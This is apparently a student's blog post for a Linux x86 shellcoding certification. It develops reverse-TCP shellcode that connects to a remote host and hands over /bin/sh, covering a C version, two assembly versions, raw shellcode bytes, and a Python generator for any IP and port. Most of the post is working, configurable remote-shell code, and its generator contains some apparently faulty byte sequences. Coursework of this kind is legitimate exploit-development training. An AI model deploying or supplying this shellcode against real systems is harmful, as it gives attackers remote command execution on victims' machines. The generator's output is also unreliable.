In the second assignment of the Securitytube Linux Assembly Expert 32-bit certification I had to create a Shell_Reverse_TCP shellcode. This is very similar to the Shell_Bind_TCP, although a little bit simpler. I used the same Makefile to ease the build process.
1. The pseudo code of the Shell_Bind_TCP
- Create a socket
- Connect to the remote port
- Duplicate file handles of STDIN, STDOUT and STDERR with client socket
- Start /bin/sh
2. The source code of a C program that implements this behavior.
#include
#include
#include
#include
#include
#include
#define BIND_PORT 4444
main(int argc, char **argv)
{
int i, ret;
int socketClient;
char *args[] = { "/bin/sh", 0 };
struct sockaddr_in server;
int sockaddr_len = sizeof(struct sockaddr_in);
// Create a socket
socketClient = socket(AF_INET, SOCK_STREAM, 0);
if (socketClient == -1)
{
exit(-1);
}
// Connect to the remote socket
server.sin_family = AF_INET;
server.sin_port = htons(4444);
server.sin_addr.s_addr = inet_addr("127.0.0.1");
bzero(&server.sin_zero, 8);
ret = connect(socketClient, (struct sockaddr *) &server, sockaddr_len);
if(ret == -1)
{
perror("bind : ");
exit(-1);
}
// Duplicate file descriptors
for (i=0; i<=2; i++)
{
dup2(socketClient, i);
}
// Execute /bin/sh
execve(args[0], &args[0], NULL);
}
3. The constants are the same as in the Shell_Bind_TCP. I do not repeat them here. However the input parameter of the connect method is a little bit different. I used the C program to check the structure of the server variable.
The first two bytes is 0x5c11. This is the port number, 4444. The next two bytes is the address family (AF_INET = 2). The next four bytes is the IP address of the remote socket we try to connect to. 0x7f = 127, 0x01 = 1. 0x0100007f = 127.0.0.1 The IP address is encoded in reverse order (more info on this can be found here). The next 8 bytes are zero.
4. The first draft of the ASM code
global _start
section .text
_start:
; Create a socket
; eax = 102 (socketcall), ebx = 1 (socket),
; ecx = esp (2 (AF_INET), 1 (SOCK_STREAM), 0)
mov eax, 102 ; syscall = socketcall
mov ebx, 1 ; socket = 1
push dword 0 ; args: protocol = 0
push dword 1 ; type = (SOCK_STREAM = 1)
push dword 2 ; domain = (AF_INET = 2)
mov ecx, esp ; pointer of args
int 0x80
; Save the returned socket to edi for later use, this is
; the first argument of the following syscalls
xchg edi, eax ; eax (socket) <=> edi
; Connect to a remote port
push 0x0100007F ; socaddr: 0x0100007F = 127.0.0.1
push 0x5c110002 ; 0x5c11 = port 4444, AF_INET = 0x0002
mov ecx, esp
; eax = 102 (socketcall), ebx = 3 (connect),
; ecx = (socket, server struct, 16)
mov eax, 102 ; syscall = socketcall
mov ebx, 3 ; connect = 3
push dword 16 ; sockaddr_in: size of sockaddr_in
push ecx ; pointer of sockaddr_in
push edi ; server socket
mov ecx, esp ; pointer of args
int 0x80
; Duplicate file descriptor
; eax = 63 (dup2), ebx = old file descriptor (client socket)
; ecx = new file descriptor (0 = STDIN / 1 = STDOUT / 2 = STDERR)
mov eax, 63 ; syscall = dup2
mov ebx, edi ; old file descriptor = client socket
mov ecx, 0 ; new file descriptor = STDIN
int 0x80
mov eax, 63 ; syscall = dup2
mov ebx, edi ; old file descriptor = client socket
mov ecx, 1 ; new file descriptor = STDOUT
int 0x80
mov eax, 63 ; syscall = dup2
mov ebx, edi ; old file descriptor = client socket
mov ecx, 2 ; new file descriptor = STDERR
int 0x80
; execve syscall
xor eax, eax
push eax ; NULL
push 0x68732f6e ; hs/n
push 0x69622f2f ; ib//
; First argument
mov ebx, esp ; pointer to '//bin/sh', 0x00
push eax ; NULL
; Third argument
mov edx, esp ; pointer to a NULL
push ebx ; pointer to '//bin/sh', 0x00
; Second argument
mov ecx, esp ; pointer to the pointer of '//bin/sh', 0x00
mov al, 11 ; syscall = execve = 11
int 0x80
The original shellcode is 118 bytes long.
nasm -f elf32 -o shellcode.o shellcode.asm
ld -m elf_i386 -o shellcode shellcode.o
Size of shellcode:
text data bss dec hex filename
118 0 0 118 76 shellcode
Shellcode:
"\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x6a\x00\x6a\x01\x6a\x02
\x89\xe1\xcd\x80\x97\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89
\xe1\xb8\x66\x00\x00\x00\xbb\x03\x00\x00\x00\x6a\x10\x51\x57\x89
\xe1\xcd\x80\xb8\x3f\x00\x00\x00\x89\xfb\xb9\x00\x00\x00\x00\xcd
\x80\xb8\x3f\x00\x00\x00\x89\xfb\xb9\x01\x00\x00\x00\xcd\x80\xb8
\x3f\x00\x00\x00\x89\xfb\xb9\x02\x00\x00\x00\xcd\x80\x31\xc0\x50
\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53
\x89\xe1\xb0\x0b\xcd\x80"
5. The next step is to remove the NULL characters and make the shellcode as small as possible.
There is a problem here. The IP address and the port number can contain zero bytes, which makes the shellcode unusable. Also, our solution should solve the problem of configuring the port number in a general way.
There is a trick for initializing a 32-bit register with a value that contain zero bytes. We first put zero in the 32-bit register, then we add each bytes to the register (in reverse order) and shift the content of the register to left. In case of 0x0100007F would be:
add al, 0x01 ; eax = 0x00000001
shl eax, 8 ; eax = 0x00000100
add al, 0 ; eax = 0x00000100
shl eax, 8 ; eax = 0x00010000
add al, 0 ; eax = 0x00010000
shl eax, 8 ; eax = 0x01000000
add al, 0x7f ; eax = 0x0100007f
push eax
Or a more simpler and shorter form:
add al, 0x01
shl eax, 24
add al, 0x7f
push eax
We can also use this technique to initialize the port number, as the port number can also contain zero bytes.
The enhanced shellcode:
global _start
section .text
_start:
; Create a socket
; eax = 102 (socketcall), ebx = 1 (socket),
; ecx = esp (2 (AF_INET), 1 (SOCK_STREAM), 0)
xor ebx, ebx
mul ebx
push eax
or al, 102 ; syscall = socketcall
inc ebx
push ebx
push byte 2 ; domain = (AF_INET = 2)
mov ecx, esp ; pointer of args
int 0x80
; Save the returned socket to edi for later use, this is
; the first argument of the following syscalls
xchg edi, eax ; eax (socket) <=> edi
; Connect to a remote port
; push 0x0100007F ; socaddr: 0x0100007F = 127.0.0.1
add al, 0x01
shl eax, 24
add al, 0x7f
push eax
push word 0x5c11; 0x5c11 = port 4444
push word 2 ; AF_INET = 0x0002
mov ecx, esp
; eax = 102 (socketcall), ebx = 3 (connect),
; ecx = (socket, server struct, 16)
xor eax, eax
or al, 102 ; syscall = socketcall
add bl, 2 ; connect = 3
push dword 16 ; sockaddr_in: size of sockaddr_in
push ecx ; pointer of sockaddr_in
push edi ; server socket
mov ecx, esp ; pointer of args
int 0x80
; Duplicate file descriptor
; eax = 63 (dup2), ebx = old file descriptor (client socket)
; ecx = new file descriptor (0 = STDIN / 1 = STDOUT / 2 = STDERR)
xor ecx, ecx
add cl, 2 ; new file descriptor
dup2_loop:
xor eax, eax
add al, 63 ; syscall = dup2
int 0x80
dec ecx
jns dup2_loop
; execve syscall
xor eax, eax
push eax ; NULL
push 0x68732f6e ; hs/n
push 0x69622f2f ; ib//
; First argument
mov ebx, esp ; pointer to '//bin/sh', 0x00
push eax ; NULL
; Third argument
mov edx, esp ; pointer to a NULL
push ebx ; pointer to '//bin/sh', 0x00
; Second argument
mov ecx, esp ; pointer to the pointer of '//bin/sh', 0x00
mov al, 11 ; syscall = execve = 11
int 0x80
6. The shellcode should be configurable. I created a python script which handles the zero byte problems.
#!/usr/bin/python
shellcode1 = ("\\x31\\xdb\\xf7\\xe3\\x50\\x0c\\x66\\x43\\x53\\x6a"
"\\x02\\x89\\xe1\\xcd\\x80\\x97")
# 04 01 add al,0x1
# c1 e0 08 shl eax,0x8
# 04 00 add al,0x0
# c1 e0 08 shl eax,0x8
# 04 00 add al,0x0
# c1 e0 08 shl eax,0x8
# 04 7f add al,0x7f
# 50 push eax
# 31 c0 xor eax,eax
# 04 5c add al,0x5c
# c1 e0 08 shl eax,0x8
# 04 11 add al,0x11
# 66 50 push ax
variable_part = ""
shellcode2 = ("\\x66\\x6a\\x02\\x89\\xe1\\x31\\xc0\\x0c\\x66\\x80"
"\\xc3\\x02\\x6a\\x10\\x51\\x57\\x89\\xe1\\xcd\\x80\\x31\\xc9\\x80"
"\\xc1\\x02\\x31\\xc0\\x04\\x3f\\xcd\\x80\\x49\\x79\\xf7\\x31\\xc0"
"\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3"
"\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80")
shellcodeLen = 75
str_ip = raw_input("Enter IP address: ")
ipList = str_ip.split('.')
for i in range(0, 4):
tmp1 = int(ipList[3-i])
if tmp1 != 0:
# Add IP part, as it is not 0
tmp2 = ""
if tmp1 < 16:
tmp2 += "0"
tmp2 += hex(tmp1)[2:]
variable_part += "\\x04" + "\\x" + tmp2
shellcodeLen += 2
if i != 3:
# Shift left with 8 bits
variable_part += "\\xc1\\xe0\\x08"
shellcodeLen += 3
# push eax onto the stack
variable_part += "\\x50"
shellcodeLen += 1
str_port = raw_input("Enter port number: ")
portnum = int(str_port)
if portnum < 1 or portnum > 65535:
print "Invalid range"
else:
upper = portnum % 256
lower = portnum / 256
# set eax to 0
variable_part += "\\x31\\xc0"
shellcodeLen += 2
if lower == 0:
# add lower byte
upperHex = "\\" + hex(upper)[1:]
variable_part += ("\\x04" + upperHex)
# shift left with 8
variable_part += "\\xc1\\xe0\\xe8"
shellcodeLen += 5
else:
# add upper byte
upperHex = "\\" + hex(upper)[1:]
variable_part += ("\\x04" + upperHex)
# shift left with 8
variable_part += "\\xc1\\xe0\\xe8"
# add lower byte
lowerHex = "\\" + hex(lower)[1:]
variable_part += ("\\x04" + lowerHex)
shellcodeLen += 7
# push ax onto the stack
variable_part += "\\x66\\x50"
shellcodeLen += 2
print ""
print "Length of shellcode: %d bytes" % (shellcodeLen)
print ""
print "Shellcode: \"" + shellcode1 + variable_part + shellcode2 + "\""
print ""
I ran the script and generated a shellcode with the following parameters: IP address = 127.0.0.1, port number = 80. These parameters contain zero values, but the script generated a correct shellcode. The original shellcode was 118 bytes long. The enhanced shellcode is only 98 bytes, but the length depends on the parameters.
I copied the generated shellcode into shellcode.txt, then issued the following commands:
make test
make test-run
The shellcode in action:
* * * * *
The source codes can be found on github:
https://github.com/sh3llc0d3r1337/SLAE32-shell_reverse_tcp
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-691